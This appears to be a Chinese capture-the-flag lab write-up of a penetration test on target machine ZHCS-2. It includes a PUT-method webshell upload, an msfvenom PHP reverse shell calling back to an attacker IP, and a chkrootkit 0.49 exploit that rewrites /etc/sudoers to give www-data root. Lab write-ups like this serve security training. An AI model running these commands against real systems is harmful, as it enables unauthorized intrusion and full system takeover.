任务一:综合靶机渗透测试
任务环境说明:
服务器场景:ZHCS-2(关闭连接)
服务器场景操作系统:版本不详
大家需要靶机环境可以私信我获取
1.扫描目标靶机将靶机开放的所有端口,当作flag提交(例:21,22,23)
FLAG:22,80
2.扫描目标靶机将靶机的http服务版本信息当作flag提交(例:apache 2.3.4)
FLAG: lighttpd 1.4.28
3.靶机网站存在目录遍历漏洞,请将html页面中的倒数第二行中的name当作flag提交
FLAG: Parent Directory
4.使用kali对目标靶机进行渗透测试,将目标内核版本当作flag值提交
使用put方法发现可以上传
于是我们可以直接使用PUT方法上传一句话木马
然后使用中国菜刀连接shell
连接成功如下图:
接下来根据题目,我们可以打开虚拟终端来查看系统内核版本信息
FLAG:Ubuntu 12.04.4 LTS
5.该靶机存在提权漏洞,请将存在提权漏洞的程序名当作flag值提交
使用msfvenom生成攻击载荷模块
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.94.156 lport=443 R >php_shell.php
然后使用msf进行监听
点击执行所上传的脚本 ,成功反弹shell
成功返回shell,然后我们这里用python打开一个标准的shell
python -c 'import pty;pty.spawn("/bin/bash")'
Whoami;pwd;uname -a查看以下系统的全部信息
我们可以使用 ls -la /etc/cron*查看文件
#crontab 是用来让使用者在固定时间或固定间隔执行程序之用,换句话说,也就是类似使用者的时程表
在/etc/cron.dayly目录下,发现chkrootkit工具,然后我们查看一下chkrootkit的版本
FLAG:chkrootkit version 0.49或者chkrootkit-0.49
6.在kali中搜索该提权漏洞,并将漏洞的披露时间当作flag值提交.(例:2023-05-26)
根据上一题的漏洞名称,我们返回kali搜索相关的漏洞披露时间
FLAG:2014-06-04
7.root家目录下存在一个***.txt文件,文件名+文件内容当作flag提交,用+号连接(例:***.txt+qwoingqwoighoqisfhoasf)
然后根据以上题目,我们需要提权到root权限
提权步骤:
1.在/ tmp中放入一个名为'update'的非root所有者的可执行文件。
2以root身份运行chkrootkit,其文件/ tmp /update将以root身份执行。
如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/tmp(没有挂载noexec)有写访问权限,就可以利用该漏洞获取root权限。
(1)在/tmp目录下创建update文件,并赋予可执行权限
Touch update
Chmod +x update
(2)、向update文件中写入将www-date添加到sudo组的命令
echo 'chmod +w /etc/sudoer && echo "www-data ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers' > /tmp/update
(3)、查看当前用户可执行的sudo文件
(4)、sudo进行提权,成功提权
然后根据题目,我们进入家目录下面查看文件
文件名:7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
文件内容:ease to struggle and you cease to live.
FLAG:7d03aaa2bf93d80040f3f22ec6ad9d5a.txt+ease to struggle and you cease to live.
Powered by 旺仔Sec
博客链接:https://blog.csdn.net/qq_50377269?spm=1010.2135.3001.5343